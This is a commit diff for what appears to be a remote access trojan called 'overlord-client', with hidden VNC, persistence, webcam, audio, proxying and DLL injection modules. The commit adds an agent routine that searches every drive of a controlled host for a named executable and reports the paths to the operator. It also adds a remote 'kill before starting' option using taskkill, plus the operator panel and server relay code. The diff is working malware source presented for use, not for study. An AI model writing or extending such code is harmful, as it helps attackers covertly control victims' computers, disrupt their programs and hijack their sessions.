add file lookup to hvnc
This commit is contained in:
@@ -0,0 +1,106 @@
|
||||
package filesearch
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var SkipDirs = map[string]bool{
|
||||
"$recycle.bin": true,
|
||||
"windows": true,
|
||||
"system volume information": true,
|
||||
}
|
||||
|
||||
type ResultFunc func(path string)
|
||||
|
||||
func LookupExe(exeName string, workers int, onResult ResultFunc) {
|
||||
if workers <= 0 {
|
||||
workers = 8
|
||||
}
|
||||
lowerExe := strings.ToLower(exeName)
|
||||
roots := driveRoots()
|
||||
|
||||
dirs := make(chan string, 256)
|
||||
|
||||
var inflight sync.WaitGroup
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < workers; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for dir := range dirs {
|
||||
walkDir(dir, lowerExe, dirs, &inflight, onResult)
|
||||
inflight.Done()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
for _, root := range roots {
|
||||
entries, err := os.ReadDir(root)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
if SkipDirs[strings.ToLower(e.Name())] {
|
||||
continue
|
||||
}
|
||||
inflight.Add(1)
|
||||
dirs <- filepath.Join(root, e.Name())
|
||||
} else if strings.ToLower(e.Name()) == lowerExe {
|
||||
onResult(filepath.Join(root, e.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
go func() {
|
||||
inflight.Wait()
|
||||
close(dirs)
|
||||
}()
|
||||
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func walkDir(root, lowerExe string, dirs chan<- string, inflight *sync.WaitGroup, onResult ResultFunc) {
|
||||
entries, err := os.ReadDir(root)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, e := range entries {
|
||||
full := filepath.Join(root, e.Name())
|
||||
if e.IsDir() {
|
||||
if SkipDirs[strings.ToLower(e.Name())] {
|
||||
continue
|
||||
}
|
||||
inflight.Add(1)
|
||||
select {
|
||||
case dirs <- full:
|
||||
default:
|
||||
inflight.Done()
|
||||
walkDir(full, lowerExe, dirs, inflight, onResult)
|
||||
}
|
||||
} else if strings.ToLower(e.Name()) == lowerExe {
|
||||
onResult(full)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func driveRoots() []string {
|
||||
if os.PathSeparator == '\\' {
|
||||
var roots []string
|
||||
for c := 'A'; c <= 'Z'; c++ {
|
||||
root := string(c) + ":\\"
|
||||
if info, err := os.Stat(root); err == nil && info.IsDir() {
|
||||
roots = append(roots, root)
|
||||
}
|
||||
}
|
||||
if len(roots) == 0 {
|
||||
roots = append(roots, "C:\\")
|
||||
}
|
||||
return roots
|
||||
}
|
||||
return []string{"/"}
|
||||
}
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"errors"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
goruntime "runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -16,6 +17,7 @@ import (
|
||||
"overlord-client/cmd/agent/audio"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
"overlord-client/cmd/agent/console"
|
||||
"overlord-client/cmd/agent/filesearch"
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
@@ -1284,20 +1286,61 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
case "hvnc_start_process":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
filePath := ""
|
||||
killExe := ""
|
||||
if payload != nil {
|
||||
if v, ok := payload["path"].(string); ok {
|
||||
filePath = v
|
||||
}
|
||||
if v, ok := payload["kill_exe"].(string); ok {
|
||||
killExe = v
|
||||
}
|
||||
}
|
||||
log.Printf("hvnc: start process %q", filePath)
|
||||
log.Printf("hvnc: start process %q (kill_exe=%q)", filePath, killExe)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_process", nil, func() {
|
||||
if killExe != "" {
|
||||
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
|
||||
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
||||
}
|
||||
if err := capture.StartHVNCProcess(filePath); err != nil {
|
||||
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_lookup":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
exeName := ""
|
||||
if payload != nil {
|
||||
if v, ok := payload["exe"].(string); ok {
|
||||
exeName = v
|
||||
}
|
||||
}
|
||||
if exeName == "" {
|
||||
sendCommandResultSafe(env, cmdID, false, "no exe name provided")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: lookup exe %q", exeName)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_lookup", nil, func() {
|
||||
filesearch.LookupExe(exeName, 8, func(path string) {
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
|
||||
Type: "hvnc_lookup_result",
|
||||
Exe: exeName,
|
||||
Path: path,
|
||||
Done: false,
|
||||
})
|
||||
})
|
||||
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
|
||||
Type: "hvnc_lookup_result",
|
||||
Exe: exeName,
|
||||
Path: "",
|
||||
Done: true,
|
||||
})
|
||||
log.Printf("hvnc: lookup complete for %q", exeName)
|
||||
})
|
||||
return nil
|
||||
|
||||
case "hvnc_start_process_injected":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
filePath := ""
|
||||
|
||||
@@ -221,6 +221,13 @@ type HVNCCloneProgress struct {
|
||||
Status string `msgpack:"status"`
|
||||
}
|
||||
|
||||
type HVNCLookupResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
Exe string `msgpack:"exe"`
|
||||
Path string `msgpack:"path"`
|
||||
Done bool `msgpack:"done"`
|
||||
}
|
||||
|
||||
type ProxyData struct {
|
||||
Type string `msgpack:"type"`
|
||||
ConnectionID string `msgpack:"connectionId"`
|
||||
|
||||
@@ -647,6 +647,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
handleCloneProgress(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_lookup_result") {
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
return;
|
||||
@@ -663,6 +667,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
handleCloneProgress(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_lookup_result") {
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
return;
|
||||
@@ -897,6 +905,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
hideContextMenu();
|
||||
showCustomExeModal();
|
||||
return;
|
||||
} else if (action === "lookup-exe") {
|
||||
hideContextMenu();
|
||||
showLookupExeModal();
|
||||
return;
|
||||
}
|
||||
hideContextMenu();
|
||||
});
|
||||
@@ -943,6 +955,113 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
argsInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); run(); } });
|
||||
}
|
||||
|
||||
let activeLookupOverlay = null;
|
||||
|
||||
function showLookupExeModal() {
|
||||
if (activeLookupOverlay) activeLookupOverlay.remove();
|
||||
const overlay = document.createElement("div");
|
||||
overlay.id = "hvncLookupExeOverlay";
|
||||
overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60";
|
||||
overlay.innerHTML = `
|
||||
<div class="bg-slate-900 border border-slate-700 rounded-xl p-5 w-[480px] shadow-2xl flex flex-col" style="max-height:80vh">
|
||||
<div class="text-sm font-semibold text-slate-100 mb-3">Lookup Executable</div>
|
||||
<label class="block text-xs text-slate-400 mb-1">Exe filename (e.g. notepad.exe)</label>
|
||||
<div class="flex gap-2 mb-3">
|
||||
<input id="hvncLookupExeName" type="text" placeholder="notepad.exe"
|
||||
class="flex-1 bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 focus:outline-none focus:border-violet-500" />
|
||||
<button id="hvncLookupBtn" class="button primary text-sm px-4">
|
||||
<i class="fa-solid fa-magnifying-glass mr-1"></i>Lookup
|
||||
</button>
|
||||
</div>
|
||||
<div id="hvncLookupStatus" class="text-xs text-slate-500 mb-2 hidden">
|
||||
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Searching…
|
||||
</div>
|
||||
<div id="hvncLookupResults" class="flex-1 overflow-y-auto min-h-[60px] max-h-[400px] bg-slate-950 border border-slate-800 rounded p-2">
|
||||
<div class="text-xs text-slate-600 text-center py-4">Results will appear here</div>
|
||||
</div>
|
||||
<div class="flex items-center mt-3">
|
||||
<label class="flex items-center gap-2 cursor-pointer select-none">
|
||||
<input type="checkbox" id="hvncLookupKill" class="accent-red-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Kill before starting</span>
|
||||
</label>
|
||||
<div class="ml-auto">
|
||||
<button id="hvncLookupClose" class="button ghost text-sm">Close</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>`;
|
||||
document.body.appendChild(overlay);
|
||||
activeLookupOverlay = overlay;
|
||||
|
||||
const nameInput = document.getElementById("hvncLookupExeName");
|
||||
const lookupBtn = document.getElementById("hvncLookupBtn");
|
||||
const statusEl = document.getElementById("hvncLookupStatus");
|
||||
const resultsEl = document.getElementById("hvncLookupResults");
|
||||
nameInput.focus();
|
||||
|
||||
function close() { overlay.remove(); activeLookupOverlay = null; }
|
||||
document.getElementById("hvncLookupClose").addEventListener("click", close);
|
||||
overlay.addEventListener("click", (e) => { if (e.target === overlay) close(); });
|
||||
|
||||
function startLookup() {
|
||||
const exe = nameInput.value.trim();
|
||||
if (!exe) return;
|
||||
resultsEl.innerHTML = "";
|
||||
statusEl.classList.remove("hidden");
|
||||
lookupBtn.disabled = true;
|
||||
lookupBtn.classList.add("opacity-50");
|
||||
sendCmd("hvnc_lookup", { exe });
|
||||
}
|
||||
|
||||
lookupBtn.addEventListener("click", startLookup);
|
||||
nameInput.addEventListener("keydown", (e) => { if (e.key === "Enter") { e.preventDefault(); startLookup(); } });
|
||||
}
|
||||
|
||||
function handleLookupResult(msg) {
|
||||
const overlay = activeLookupOverlay;
|
||||
if (!overlay) return;
|
||||
const statusEl = document.getElementById("hvncLookupStatus");
|
||||
const resultsEl = document.getElementById("hvncLookupResults");
|
||||
const lookupBtn = document.getElementById("hvncLookupBtn");
|
||||
if (!resultsEl) return;
|
||||
|
||||
if (msg.done) {
|
||||
if (statusEl) {
|
||||
statusEl.innerHTML = '<i class="fa-solid fa-check mr-1 text-emerald-400"></i>Search complete';
|
||||
setTimeout(() => statusEl.classList.add("hidden"), 3000);
|
||||
}
|
||||
if (lookupBtn) {
|
||||
lookupBtn.disabled = false;
|
||||
lookupBtn.classList.remove("opacity-50");
|
||||
}
|
||||
if (!resultsEl.querySelector("[data-lookup-path]")) {
|
||||
resultsEl.innerHTML = '<div class="text-xs text-slate-500 text-center py-4">No results found</div>';
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (msg.path) {
|
||||
// Remove placeholder if present
|
||||
const placeholder = resultsEl.querySelector(":scope > div:not([data-lookup-path])");
|
||||
if (placeholder) placeholder.remove();
|
||||
|
||||
const item = document.createElement("button");
|
||||
item.type = "button";
|
||||
item.dataset.lookupPath = msg.path;
|
||||
item.className = "w-full text-left px-2 py-1.5 rounded text-xs text-slate-200 hover:bg-violet-600/30 hover:text-violet-100 transition-colors font-mono truncate block";
|
||||
item.textContent = msg.path;
|
||||
item.title = "Click to start in HVNC: " + msg.path;
|
||||
item.addEventListener("click", () => {
|
||||
const killCheckbox = document.getElementById("hvncLookupKill");
|
||||
const killExe = killCheckbox?.checked ? msg.exe : "";
|
||||
sendCmd("hvnc_start_process", { path: '"' + msg.path + '"', kill_exe: killExe });
|
||||
item.classList.add("text-emerald-400");
|
||||
item.innerHTML = '<i class="fa-solid fa-check mr-1"></i>' + (killExe ? '(killed) ' : '') + msg.path;
|
||||
});
|
||||
resultsEl.appendChild(item);
|
||||
item.scrollIntoView({ block: "nearest" });
|
||||
}
|
||||
}
|
||||
|
||||
function updateLatencyDisplay(ms) {
|
||||
lastLatencyMs = ms;
|
||||
if (latencyEl) {
|
||||
|
||||
@@ -229,6 +229,13 @@
|
||||
>
|
||||
<i class="fa-solid fa-file mr-2 text-slate-300"></i>Run custom exe…
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||
data-action="lookup-exe"
|
||||
>
|
||||
<i class="fa-solid fa-magnifying-glass mr-2 text-amber-300"></i>Lookup exe…
|
||||
</button>
|
||||
</div>
|
||||
<style>
|
||||
body {
|
||||
|
||||
@@ -78,6 +78,7 @@ import {
|
||||
handleWebcamViewerOpen,
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
handleRemoteDesktopViewerOpen,
|
||||
hvncStreamingState,
|
||||
@@ -460,6 +461,7 @@ async function startServer() {
|
||||
handleVoiceUplink,
|
||||
handleWebcamDevices,
|
||||
handleHVNCCloneProgress,
|
||||
handleHVNCLookupResult,
|
||||
cleanupVoiceViewer,
|
||||
stopConsoleOnTarget,
|
||||
sendDesktopCommand,
|
||||
|
||||
@@ -76,6 +76,7 @@ type WsLifecycleDeps = {
|
||||
handleVoiceUplink: (clientId: string, payload: any) => void;
|
||||
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
|
||||
handleHVNCLookupResult: (clientId: string, payload: any) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
@@ -487,6 +488,9 @@ export async function handleWebSocketMessage(
|
||||
case "hvnc_clone_progress":
|
||||
deps.handleHVNCCloneProgress(client.id, payload);
|
||||
break;
|
||||
case "hvnc_lookup_result":
|
||||
deps.handleHVNCLookupResult(client.id, payload);
|
||||
break;
|
||||
case "proxy_data": {
|
||||
const connId = (payload as any).connectionId;
|
||||
const tunnelData = (payload as any).data;
|
||||
|
||||
@@ -494,6 +494,17 @@ export function handleHVNCCloneProgress(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleHVNCLookupResult(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||
safeSendViewer(session.viewer, {
|
||||
type: "hvnc_lookup_result",
|
||||
exe: String(payload.exe || ""),
|
||||
path: String(payload.path || ""),
|
||||
done: !!payload.done,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
@@ -670,8 +681,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
case "hvnc_key_up":
|
||||
if (state.isStreaming) sendHVNCCommand(target, "hvnc_key_up", { key: payload.key || "", code: payload.code || "" });
|
||||
break;
|
||||
case "hvnc_lookup":
|
||||
sendHVNCCommand(target, "hvnc_lookup", { exe: String(payload.exe || "") });
|
||||
break;
|
||||
case "hvnc_start_process":
|
||||
sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") });
|
||||
sendHVNCCommand(target, "hvnc_start_process", {
|
||||
path: String(payload.path || ""),
|
||||
kill_exe: String(payload.kill_exe || ""),
|
||||
});
|
||||
break;
|
||||
case "hvnc_start_process_injected": {
|
||||
const dllData = getInjectionDllBytes();
|
||||
|
||||
@@ -28,6 +28,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"voice_uplink",
|
||||
"webcam_devices",
|
||||
"hvnc_clone_progress",
|
||||
"hvnc_lookup_result",
|
||||
"proxy_data",
|
||||
"proxy_close",
|
||||
]);
|
||||
|
||||
Reference in New Issue
Block a user